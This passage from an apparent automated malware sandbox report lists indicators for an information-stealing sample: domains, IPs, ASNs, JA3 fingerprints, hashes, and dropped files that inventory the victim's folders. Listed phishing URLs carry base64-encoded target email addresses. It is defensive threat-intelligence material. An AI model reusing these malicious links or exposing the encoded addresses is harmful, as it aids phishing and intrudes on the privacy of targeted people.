	SecuriteInfo.com.Trojan.GenericKDZ.96654.14311.25586.exe	Get hash	malicious	Browse
	K0XmTyabPq.exe	Get hash	malicious	Browse
	PURCHASE ORDER.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
api.mylnikov.org	2023lk1601.doc	Get hash	malicious	Browse	172.67.160.130
	ws.exe	Get hash	malicious	Browse	172.67.160.130
	mp.exe	Get hash	malicious	Browse	172.67.160.130
	2.ps1	Get hash	malicious	Browse	172.67.160.130
	file_2.exe	Get hash	malicious	Browse	172.67.160.130
	a26FqMdP18.exe	Get hash	malicious	Browse	104.21.9.139
	DE26aj35IN.exe	Get hash	malicious	Browse	104.21.9.139
	RvbszzLrKY.exe	Get hash	malicious	Browse	104.21.9.139
	5KvrPIoL1r.exe	Get hash	malicious	Browse	172.67.160.130
	sample.exe	Get hash	malicious	Browse	104.21.9.139
	KHzbLVECOs.exe	Get hash	malicious	Browse	104.21.9.139
	ZLVDQRWVh8.exe	Get hash	malicious	Browse	104.21.9.139
	EU3cMBO3dC.exe	Get hash	malicious	Browse	172.67.160.130
	hYVWqy4jxs.exe	Get hash	malicious	Browse	104.21.9.139
	Client.exe	Get hash	malicious	Browse	172.67.160.130
	Image_Of_Victim.exe	Get hash	malicious	Browse	104.21.9.139
	g0Cm482vVa.exe	Get hash	malicious	Browse	104.21.9.139
	K9msslsV4Z.exe	Get hash	malicious	Browse	172.67.160.130
	XBzxLJ0xCf.exe	Get hash	malicious	Browse	172.67.160.130
	5Refference Slip.exe	Get hash	malicious	Browse	172.67.160.130
api.telegram.org	SOA.exe	Get hash	malicious	Browse	149.154.167.220
	9bttXXiefu.exe	Get hash	malicious	Browse	149.154.167.220
	QDGS140625 Format BL.exe	Get hash	malicious	Browse	149.154.167.220
	ACH Attachment.html	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.PWSX-gen.12149.31479.exe	Get hash	malicious	Browse	149.154.167.220
	PURCHASE ORDER.exe	Get hash	malicious	Browse	149.154.167.220
	P.O AA124512 WER 45655REF120121222.tar	Get hash	malicious	Browse	149.154.167.220
	EFT20009563_invoice.js	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.CrypterX-gen.26943.11117.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Variant.Lazy.286599.7821.8237.exe	Get hash	malicious	Browse	149.154.167.220
	Virus.html	Get hash	malicious	Browse	149.154.167.220
	Virus.html	Get hash	malicious	Browse	149.154.167.220
	Virus.html	Get hash	malicious	Browse	149.154.167.220
	Virus.html	Get hash	malicious	Browse	149.154.167.220
	FedEx Receipt_AWB# 1022355167663.exe	Get hash	malicious	Browse	149.154.167.220
	DHL Receipt_AWB8114704847178.exe	Get hash	malicious	Browse	149.154.167.220
	FedEx Receipt_AWB114704847178.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Gen.Variant.Nemesis.1808.20904.11024.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Trojan.GenericKDZ.96654.14311.25586.exe	Get hash	malicious	Browse	149.154.167.220
	K0XmTyabPq.exe	Get hash	malicious	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TELEGRAMRU	SOA.exe	Get hash	malicious	Browse	149.154.167.220
	9bttXXiefu.exe	Get hash	malicious	Browse	149.154.167.220
	ACH Attachment.html	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.PWSX-gen.12149.31479.exe	Get hash	malicious	Browse	149.154.167.220
	PURCHASE ORDER.exe	Get hash	malicious	Browse	149.154.167.220
	P.O AA124512 WER 45655REF120121222.tar	Get hash	malicious	Browse	149.154.167.220
	EFT20009563_invoice.js	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.CrypterX-gen.26943.11117.exe	Get hash	malicious	Browse	149.154.167.220
	hEPTms2Nq1.exe	Get hash	malicious	Browse	149.154.167.99
	SecuriteInfo.com.Variant.Lazy.286599.7821.8237.exe	Get hash	malicious	Browse	149.154.167.220
	ACC70EB94782931AB5F817A91B3C4CEDF4C3077FB497A.exe	Get hash	malicious	Browse	149.154.167.99
	Virus.html	Get hash	malicious	Browse	149.154.167.220
	Virus.html	Get hash	malicious	Browse	149.154.167.220
	Virus.html	Get hash	malicious	Browse	149.154.167.220
	Virus.html	Get hash	malicious	Browse	149.154.167.220
	FedEx Receipt_AWB# 1022355167663.exe	Get hash	malicious	Browse	149.154.167.220
	CF4U7s97Wj.exe	Get hash	malicious	Browse	149.154.167.99
	ryw1FfVm48.exe	Get hash	malicious	Browse	149.154.167.99
	file.exe	Get hash	malicious	Browse	149.154.167.99
	DHL Receipt_AWB8114704847178.exe	Get hash	malicious	Browse	149.154.167.220
CLOUDFLARENETUS	_DORIS.COOKS Q4 Employee Benefits Handbook compliance.htm	Get hash	malicious	Browse	104.21.95.58
	https://api.mixpanel.com/track?data=eyJldmVudCI6ICIkY2FtcGFpZ25fbGlua19jbGljayIsICJwcm9wZXJ0aWVzIjogeyJjYW1wYWlnbl9pZCI6IDYyMjAzNDQsICJkaXN0aW5jdF9pZCI6ICJkYWZmY2VjMS0zNWRjLTQ3OTItOThjYy03ODMzZjRjNGM1OGQiLCAibWVzc2FnZV9pZCI6IDE0MDAwOTIsICJ0b2tlbiI6ICJlMzlhMGE0MGQ0OWRmMWNlMjI4ZjBmMWEwNzUwNWVjNCIsICJ0eXBlIjogImVtYWlsIiwgInVybCI6ICJodHRwczovL2F1ZGlvbWFjay5jb20vd29ybGQvcG9zdC9ib3R3LTctMjcifX0%3D&redirect=http%3A%2F%2FuJnpNaYFqotcfqHIfIxbKwieJNCrmYTnimzAnXiFYDvVpoLvnH.alphyt.com/index.html?pid/bWFyc2hhbGwuYmFrZXJAYW1lcmlzYmFuay5jb20=	Get hash	malicious	Browse	104.18.10.207
	https://ipfs.io/ipfs/Qma2c1fWcdfF6A1b7psSx8qNhkRu4za2zLMWvFh4ioEjf8?filename=files.html#support@yourlawyer.com	Get hash	malicious	Browse	104.18.11.207
	file.exe	Get hash	malicious	Browse	188.114.96.3
	https://u31782790.ct.sendgrid.net/ls/click?upn=JlwNAd-2FhMrEDsmWtXGxNppXnaYWi7NgPn-2F-2F8geLP7X-2BLWIk8I8jdAAUq1sz9V8WH6Pta_urj3-2BMc69uRNWK-2FPQ4CxodFYmkdLp2wDurKSwjpZf-2FqXGHB0ubDAEvYPvf4sLp20-2Bn2-2FRFDfx8pbVJoozelpHXY0OZ5WrExdlJKNTvZiVNrhAWI6-2FnNcw4V2O4zTLKUOaa8K59S4dkPNX1e3hUe4QcwPekjoompb6cUQVP-2FaHY-2B02XnvVke-2BIlGrnj-2F-2FPx9YC8zdmXJXzYpsS8SOOSkc-2FzyrK0ydfwyf3QReS1DyMAF-2BwuOKgIBRkLICiZgv159T2AwzE1akqo4DjQ-2Bua-2BabzJ-2FcaqEVyzbd-2BKSwI-2FATAvN6tiTL4nQVIfu7zzy0FHDXM2bD-2FUM9YeusQjztXsYu608MFuQV8S1rirwI-2Bs2O7bQh-2Feozd1avYQxjtyWKxrCd35zv-2FqJrdpsnv34g3KYUNkOT6sAlHQDLzjn9i8uQqTZIPKVjREtl6UNSCOm-2Fh1grQlsuBKeKFSkkTdT5Qztn1GCk7Yh-2B4y9UabSKI-2FEJXifTUXFQJMKJHhvSWvqbc3Re-2FNKUB3Uleq3h0rWY8SGSnmyxQIpDd8aDXX5x5GEfo5BocHp1rDc4el-2F7apbOZ-2FH8gkFiW0-2FNnd2mTDtQdesIzSnpsplZ9X-2BF5xJWznRKlLT-2Bs7nKOGjqltsKoacoYPYk3IlexIx4w3ojHQXVTin6DbvzrxUMCb-2FlLwC71iLGOuDu3Y44XrkgJfb8Brigta5WXIrx3C9crmQb63cSo9NhqPCEpOfUg1tnuCN8qki-2BxcQCE-2FGsn-2FKeLLhVaPXBfnNlwFAR-2FJwo5cayR8dKsyYsr20CKlhCN9kSQkY1xo-2BHLtBO7-2BTG6S9G3Hbsucom-2BtL5oZa-2F9nGAx4JlaFcGzfe9VYTWlF2hgsiK50U5B2TeytIwmHE5qooIo3hA-2B6J2uHCv	Get hash	malicious	Browse	104.17.25.14
	https://cinralolousmithos.booksarethelife.com/?fbxid=100000452353251	Get hash	malicious	Browse	188.114.96.3
	https://l.facebook.com/l.php?u=https%3A%2F%2Fmetasupport100293854791.web.app%2F%3Ffbclid%3DIwAR3s8QkFUR9vWUQ--S02BGAu95xAnfvj6ncA35fQgn5DKmev-eA7yRJqDW0&h=AT1Zo_NrSpZBYzXxY409UW1NAqVJp4imuSPQHRT9DFPYZ1ig9n5xgZ99l6ljcwgQOTSeGn3iKyuMP-6mKsnwl7jNT8N9g8MjbQlIugQrf_eBBcCXlRzVPPhLLfc7kr2-c4jKanaHKA&__tn__=-UK-R&c%5B0%5D=AT3h04brjF7C-dBkj6YuAc4QpVIYCpy33Vqr68DA89ka8lQTM4i__xxnOy_jdfRysmuGNd8sf-PzhEi9-GsfdtcAjq3Lb0P5qgf_5fVi9k08nIZw4zebk1T6yaYNp8CAbc6DKe9WXHJFvVZ0K5p10dM67eI2DAE6SPN5fCp5hAY	Get hash	malicious	Browse	188.114.97.3
	file.exe	Get hash	malicious	Browse	172.67.144.83
	https://object.fm	Get hash	malicious	Browse	104.18.11.207
	https://octopus-app-2-c9rsd.ondigitalocean.app/SenseUtility/Tlq111ECH99s55QTwT91111JQ1888Mk111K33/indexac17.html?phone=+1-800-436-0301	Get hash	malicious	Browse	104.18.11.207
	Icu Investigations Emp Handbook 01.2023.html	Get hash	malicious	Browse	104.18.10.207
	file.exe	Get hash	malicious	Browse	172.67.144.83
	file.exe	Get hash	malicious	Browse	188.114.96.3
	Ref# (INV4561245).html	Get hash	malicious	Browse	172.67.143.96
	https://storagemsgfax1-secondary.z13.web.core.windows.net/	Get hash	malicious	Browse	188.114.99.0
	Insidious.exe	Get hash	malicious	Browse	188.114.96.3
	fdasf.exe	Get hash	malicious	Browse	162.159.134.233
	Remittance_slip_Ref#38201-17-2023_Attached_pdf.htm	Get hash	malicious	Browse	188.114.98.236
	file.exe	Get hash	malicious	Browse	188.114.96.3
	https://api.mixpanel.com/track?data=eyJldmVudCI6ICIkY2FtcGFpZ25fbGlua19jbGljayIsICJwcm9wZXJ0aWVzIjogeyJjYW1wYWlnbl9pZCI6IDYyMjAzNDQsICJkaXN0aW5jdF9pZCI6ICJkYWZmY2VjMS0zNWRjLTQ3OTItOThjYy03ODMzZjRjNGM1OGQiLCAibWVzc2FnZV9pZCI6IDE0MDAwOTIsICJ0b2tlbiI6ICJlMzlhMGE0MGQ0OWRmMWNlMjI4ZjBmMWEwNzUwNWVjNCIsICJ0eXBlIjogImVtYWlsIiwgInVybCI6ICJodHRwczovL2F1ZGlvbWFjay5jb20vd29ybGQvcG9zdC9ib3R3LTctMjcifX0%3D&redirect=http%3A%2F%2FhCtTepsInTSZiEZsDWZHaMaBDrtWQWePHnHxanfGHhqQgkgkIt.alphyt.com/index.html?pid/Y2hpb3JkZXJmdWxmaWxsbWVudEBwZWxsYS5jb20=	Get hash	malicious	Browse	104.18.10.207

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	SOA.exe	Get hash	malicious	Browse	104.21.9.139 149.154.167.220 104.20.68.143
	9bttXXiefu.exe	Get hash	malicious	Browse	104.21.9.139 149.154.167.220 104.20.68.143
	Purchase Order.exe	Get hash	malicious	Browse	104.21.9.139 149.154.167.220 104.20.68.143
	bn..exe	Get hash	malicious	Browse	104.21.9.139 149.154.167.220 104.20.68.143
	Payment Copy.HTML	Get hash	malicious	Browse	104.21.9.139 149.154.167.220 104.20.68.143
	obizx.exe	Get hash	malicious	Browse	104.21.9.139 149.154.167.220 104.20.68.143
	SecuriteInfo.com.PWSX-gen.12149.31479.exe	Get hash	malicious	Browse	104.21.9.139 149.154.167.220 104.20.68.143
	PURCHASE ORDER.exe	Get hash	malicious	Browse	104.21.9.139 149.154.167.220 104.20.68.143
	P.O AA124512 WER 45655REF120121222.tar	Get hash	malicious	Browse	104.21.9.139 149.154.167.220 104.20.68.143
	8814038233.exe	Get hash	malicious	Browse	104.21.9.139 149.154.167.220 104.20.68.143
	EFT20009563_invoice.js	Get hash	malicious	Browse	104.21.9.139 149.154.167.220 104.20.68.143
	SecuriteInfo.com.Trojan.DownLoaderNET.535.21571.10321.exe	Get hash	malicious	Browse	104.21.9.139 149.154.167.220 104.20.68.143
	SecuriteInfo.com.PWSX-gen.26924.6799.exe	Get hash	malicious	Browse	104.21.9.139 149.154.167.220 104.20.68.143
	SecuriteInfo.com.CrypterX-gen.26943.11117.exe	Get hash	malicious	Browse	104.21.9.139 149.154.167.220 104.20.68.143
	hEPTms2Nq1.exe	Get hash	malicious	Browse	104.21.9.139 149.154.167.220 104.20.68.143
	PO_NBI_180123(MECH)_pdf.exe	Get hash	malicious	Browse	104.21.9.139 149.154.167.220 104.20.68.143
	SecuriteInfo.com.Variant.Lazy.286599.7821.8237.exe	Get hash	malicious	Browse	104.21.9.139 149.154.167.220 104.20.68.143
	stub_debloated.exe	Get hash	malicious	Browse	104.21.9.139 149.154.167.220 104.20.68.143
	e-dekont20230116.exe	Get hash	malicious	Browse	104.21.9.139 149.154.167.220 104.20.68.143
	how long can a landlord leave you without air-conditioning in florida 83948.js	Get hash	malicious	Browse	104.21.9.139 149.154.167.220 104.20.68.143

Process:	C:\Users\user\Desktop\3ZCSmfAvnf.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	343552
Entropy (8bit):	7.477938849025419
Encrypted:	false
SSDEEP:	6144:wcjrQ/rcaXeLfKqsmLjCkHhUcuS37N7E+rdR2cFoWIEh89dHHWtjunUU:wcjiuJsmXCkStSLNnRVFopEhAdH2tK
MD5:	C7FBE52E88456EABB4D4A1A1A0670CF4
SHA1:	3B479F15645C31C7067C31AEDE6E1802093AC78B
SHA-256:	82ACC1095843DA9A689F138666B41520CCB2BDA8BE0C8B3CD734ADBFA14D6746
SHA-512:	3302AA29196E3864850C7F6BFDC274A285F3F51FD1D60B0E728CAA29B4F25BC70F30429819DE1EA27855841FA0EC00F0FEC69C1745794A96C5C19D11D0C8FA05
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....c.................0...........N... ...`....@.. ....................................@.................................@N..K.................................................................................... ............... ..H............text........ ...0.................. ..`.sdata.......`.......4..............@....rsrc................6..............@..@.reloc...............<..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\WindowsDataC.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\3ZCSmfAvnf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	136395
Entropy (8bit):	7.947968857690747
Encrypted:	false
SSDEEP:	1536:E1nYncn0nMnijExcwiW0EeevyiLFW/Wya95jOPozXeGPIA9wnJ3OThHk7tWSG0+:EgYaEyiLI/sNRPIKwnJ3O1b
MD5:	73A7002982C696856A3A69EF14380F2B
SHA1:	41AA8138AEE334AA8BCFD18B6FBAD12BBCE5BBC1
SHA-256:	EF7CBE1155251B8E755E95A6C3CC7A30240B815D8A8B9C665971325AA6B8AE2C
SHA-512:	DD1E8EB4231000C55FF626F02FF360497676CCE65B45D46FF91FC08965245E21362D346147D3A94CF073EC4E0615E004B6457D5A2578EB8ABD471902CB84FAC7
Malicious:	false
Preview:	PK..........2V................Browsers\Google\PK..........2V>......._.......Directories\Desktop.txte..n.0.D.....Xm#e.....<........Q..7N.B..g.=&.t........#F.(1].h.pf.A.H.....YZ&.P$......n.X^.Ij..?H.qA.1p.j..q.n....<n..p.l+L!E.Q.z$...NL..GuU..Y..E.X._.;.....T..p_.s.........)....C.3.z.K..8>7.o.z.o..g....}.DT-M..6._;.......Yc.!...2LCs...P/..v....:@._>\....8..PK..........2V.r(.............Directories\Documents.txtmQKn.0.\.R..x..D6..1`..u...H.).).}k......fF3l(..'.......i.al...YAS..X..$.P^5e..yl.yL..Z(.1[..%.../.p..$.ixd.>5#.../.S..%3.;H !.Q_=..oZH.1&.pU.X.i6.w.../.x.........2.....L......;1..\rT.:O.H...=.M9.Z.R...r.C....;.N....?.^.~K4@...#.F....x&\....VC.....~..s.?PK..........2V_Vv.............Directories\Downloads.txtm.M..0...&^.....3.(.Ji..P%(.&..........b?.h.f.....9...d...{0........@j.D9.52.[.D....P..e.....g.&".Fi.ZT...9s..1..q....y.k..$L.B.@...a{#rZ..aq..h(Z.J`j.\|.PK..........2V...D............Directories\OneDrive.txt..Ku).,K.....PK..........2V..M}...7..

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Directories\Desktop.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	607
Entropy (8bit):	5.327200225039551
Encrypted:	false
SSDEEP:	12:wvFMctsr+9sogeEMxNqjwknj3e2MwLKwsz0WmGyJlRI:oSI/qj3nj3knZz2GaPI
MD5:	D50D4BB722C8C18390160E5A42692709
SHA1:	C527C6D549B2463AE2EA2043C7B65A2099C79AE5
SHA-256:	D2EC0E8AA8F9424AA52C0E908A7EF15E0CD5E6135E46550E8140800E0DD3D85D
SHA-512:	AAB716699562FC628CF991408F23D95C7809215918ECEE10321402DF560240770D0855CF0EA4EC67D0A88816CAC10B0950EF8097560C5BD49480B8FF4D8D9E2F
Malicious:	false
Preview:	Desktop\...AQRFEVRTGL\...EWZCVGNOWT\....EWZCVGNOWT.docx....GIGIYTFFYT.xlsx....JDDHMPCDUJ.png....KLIZUSIQEN.pdf....QCOILOQIKC.mp3....TQDFJHPUIU.jpg...GIGIYTFFYT\....CZQKSDDMWR.png....GIGIYTFFYT.docx....QCOILOQIKC.pdf....TQDFJHPUIU.xlsx....UNKRLCVOHV.mp3....ZIPXYXWIOY.jpg...LIJDSFKJZG\...NYMMPCEIMA\...ZIPXYXWIOY\...3ZCSmfAvnf.exe...CZQKSDDMWR.png...desktop.ini...EWZCVGNOWT.docx...Excel 2016.lnk...GIGIYTFFYT.docx...GIGIYTFFYT.xlsx...JDDHMPCDUJ.png...KLIZUSIQEN.pdf...Microsoft Edge.lnk...QCOILOQIKC.mp3...QCOILOQIKC.pdf...TQDFJHPUIU.jpg...TQDFJHPUIU.xlsx...UNKRLCVOHV.mp3...Word 2016.lnk...ZIPXYXWIOY.jpg..

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Directories\Documents.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	655
Entropy (8bit):	5.307367940624813
Encrypted:	false
SSDEEP:	12:Dctsr+9sogeEMxNqjwknj3JPLKQ4wRLKBLKMkLKRNMwLK9sXmGyJlc:ySI/qj3nj38xrEEYnO2GaO
MD5:	CDAC8A86255E63D40B4E03E69DAA9643
SHA1:	0499030ED2550B8CD6AE61498B20E400C0970E0F
SHA-256:	9E541BD427EF085F86D76AE91CC55767DCBB790555EFC3364D5D3402BD5876BC
SHA-512:	659B4EED0FE49EE7ECF1043EE512ADBD9A129C28F451B68D0CDE3D6CF4DE72541AA4CA397BFB4EC5642C5F5B8F3569654E6F1FDBD2B7FD16F547FBA5A5DAC25A
Malicious:	false
Preview:	Documents\...AQRFEVRTGL\...EWZCVGNOWT\....EWZCVGNOWT.docx....GIGIYTFFYT.xlsx....JDDHMPCDUJ.png....KLIZUSIQEN.pdf....QCOILOQIKC.mp3....TQDFJHPUIU.jpg...GIGIYTFFYT\....CZQKSDDMWR.png....GIGIYTFFYT.docx....QCOILOQIKC.pdf....TQDFJHPUIU.xlsx....UNKRLCVOHV.mp3....ZIPXYXWIOY.jpg...LIJDSFKJZG\...My Music\....desktop.ini...My Pictures\....Camera Roll\.....desktop.ini....desktop.ini...My Videos\....desktop.ini...NYMMPCEIMA\...ZIPXYXWIOY\...CZQKSDDMWR.png...desktop.ini...EWZCVGNOWT.docx...GIGIYTFFYT.docx...GIGIYTFFYT.xlsx...JDDHMPCDUJ.png...KLIZUSIQEN.pdf...QCOILOQIKC.mp3...QCOILOQIKC.pdf...TQDFJHPUIU.jpg...TQDFJHPUIU.xlsx...UNKRLCVOHV.mp3...ZIPXYXWIOY.jpg..

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Directories\Downloads.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	234
Entropy (8bit):	5.2176433447056825
Encrypted:	false
SSDEEP:	3:jLtgAXMxWfLKmuzir/jqvDDP9vDDPjaimpsp3sf00e/oNmqX0eXry1mh7mnaol+H:3ttMwLKm8I/jLCJssPkm0PbyYylSv
MD5:	528D99F19067CEB71B5CE56CC7F54892
SHA1:	E3C60E61F5FB46196988414F45FEC7A9BDD7E245
SHA-256:	2670E2F17387772B14AC13D523996C81770F188B6073F45274DF9056DF29875D
SHA-512:	B23123479CA15C941846B15A071A68393F14D7BF53274DFB4AA57274E13458E8FB113136F87A9F77889CE2CCA0C35F25DF2D85B85692DF0940D33938EEB42934
Malicious:	false
Preview:	Downloads\...CZQKSDDMWR.png...desktop.ini...EWZCVGNOWT.docx...GIGIYTFFYT.docx...GIGIYTFFYT.xlsx...JDDHMPCDUJ.png...KLIZUSIQEN.pdf...QCOILOQIKC.mp3...QCOILOQIKC.pdf...TQDFJHPUIU.jpg...TQDFJHPUIU.xlsx...UNKRLCVOHV.mp3...ZIPXYXWIOY.jpg..

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Directories\OneDrive.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	11
Entropy (8bit):	3.2776134368191165
Encrypted:	false
SSDEEP:	3:1hiRn:14Rn
MD5:	1DA31A8EA979A8627E1C0630291B5B26
SHA1:	903725300CBC8EEBD49847428F00AB6C20729D67
SHA-256:	55FE800A4DA9F2E2A8C3EF6D768302B0CAC54DC55587812976CA493C276BAE30
SHA-512:	220484AD810BA043CEB3C918E0472AA0F3A35D7F04C2BF8ADA31109012C2FDAA083A2ACD4AE20207608B83D54CDF0D4F077FF9B8027A6786E65548F8834E7AC6
Malicious:	false
Preview:	OneDrive\..

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Directories\Pictures.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.401826932053255
Encrypted:	false
SSDEEP:	3:YzIVqIPLKKrLKB:nqyLKCLKB
MD5:	154A3A46F2AC154FD11B51AE37F7BFB0
SHA1:	5FF354343773ACBFB8973DF4B0D96FAFA5842668
SHA-256:	BCF4D37446D020F5B6214E9896E607C7BDAFA7C118C0C3DC766211EC63AB841A
SHA-512:	12CADFFFA2F45B77D48F30FE8C63E9FC5FF7712CD9C2AF275052722D5640DD4E7AE2D9C3D07328833438295CB63EB6F4A37CB82623453618E00B4F23A95618BC
Malicious:	false
Preview:	Pictures\...Camera Roll\....desktop.ini...desktop.ini..

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Directories\Startup.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24
Entropy (8bit):	4.053508854797679
Encrypted:	false
SSDEEP:	3:jgBLKB:j4LKB
MD5:	68C93DA4981D591704CEA7B71CEBFB97
SHA1:	FD0F8D97463CD33892CC828B4AD04E03FC014FA6
SHA-256:	889ED51F9C16A4B989BDA57957D3E132B1A9C117EE84E208207F2FA208A59483
SHA-512:	63455C726B55F2D4DE87147A75FF04F2DAA35278183969CCF185D23707840DD84363BEC20D4E8C56252196CE555001CA0E61B3F4887D27577081FDEF9E946402
Malicious:	false
Preview:	Startup\...desktop.ini..

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Directories\Temp.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	4.645826654559216
Encrypted:	false
SSDEEP:	48:4iyhGalNGUoFP2dsCSXkNcvhJFbGgzXsX51XHXi6kGVTw0adQiFw:4dzlM92tSUNEhTGgz83XSGV8NdQiFw
MD5:	98B3C5CB16F6B715AEE2F33FB0839381
SHA1:	3CAED41653A43B9B6B498D07E9A74D478FEDCA67
SHA-256:	BA81883E1A222EE00C3B49EBA737021704721186B20131964DBB53503AC11027
SHA-512:	CCCE22A401B9DE8D94872D20BE08728E56F291F5451B51FF0B00074C0387814E0F59CD9C466079C13F11D423DFFCC9B1CBFB84D01C865AAE597FC2C2A40FEEE2
Malicious:	false
Preview:	Temp\...acrocef_low\...acrord32_sbx\...CR_94EB1.tmp\....setup.exe...Low\....JavaDeployReg.log...0013461513...0164771190...0196354653...0409654664...0450125302...0518291756...0649444281...0653671941...0686412204...0982390758...1033868256...1141274626...1206337459...1237160943...1239919175...1287572840...1422339599...1670291037...1809927897...1927994670...2103954313...2118371548...2129360816...2162403398...2168651637...2238758481...2385760553...2567238426...2585558601...2669049752...2760101248...2843307863...2892510238...3024948866...3118691078...3322604653...3476888679...3554373729...3643399760...3645503000...3761760476...4289288528...4319908881...4478492829...4618732626...4736274156...4941266003...4965367024...5064077962...5089483566...5281104033...5491630718...5713452101...5809130301...5911976538...6092905029...6109303877...6183211589...6213653276...6326573906...6329227256...6332783370...6422942404...6577738837...6636805992...6730030605...6750529025...7216804956...7241813944...7246058

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Directories\Videos.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.7950885863977324
Encrypted:	false
SSDEEP:	3:k+JrLKB:k+JrLKB
MD5:	1FDDBF1169B6C75898B86E7E24BC7C1F
SHA1:	D2091060CB5191FF70EB99C0088C182E80C20F8C
SHA-256:	A67AA329B7D878DE61671E18CD2F4B011D11CBAC67EA779818C6DAFAD2D70733
SHA-512:	20BFEAFDE7FEC1753FEF59DE467BD4A3DD7FE627E8C44E95FE62B065A5768C4508E886EC5D898E911A28CF6365F455C9AB1EBE2386D17A76F53037F99061FD4D
Malicious:	false
Preview:	Videos\...desktop.ini..

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\CZQKSDDMWR.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.700739677288544
Encrypted:	false
SSDEEP:	24:ppydEKvTSBiqFHi8v+wyNV+fxloGJjN3y5j1xTEC3ugbIvso8wFjas:rmEKvMiYC8Wwyr88GFAH/UvsuZl
MD5:	57582F5B6AE65D8DFCBD4A26382C6138
SHA1:	DC27AD5E54D1BDCCA4EC0D54ED1FB5A3235E9842
SHA-256:	7918D6E76741E42934BB32547E2D7EA395304AEA3383C0E6B7FCF82ACE125749
SHA-512:	6D75F68E608CB12378605F06C74F2F0414486072CC25961A1EA421B94EA5827F92110B902C2190E04AAE2D79152B0AB9B5B1ACECDCAAADD93A6F25028DD1E060
Malicious:	false
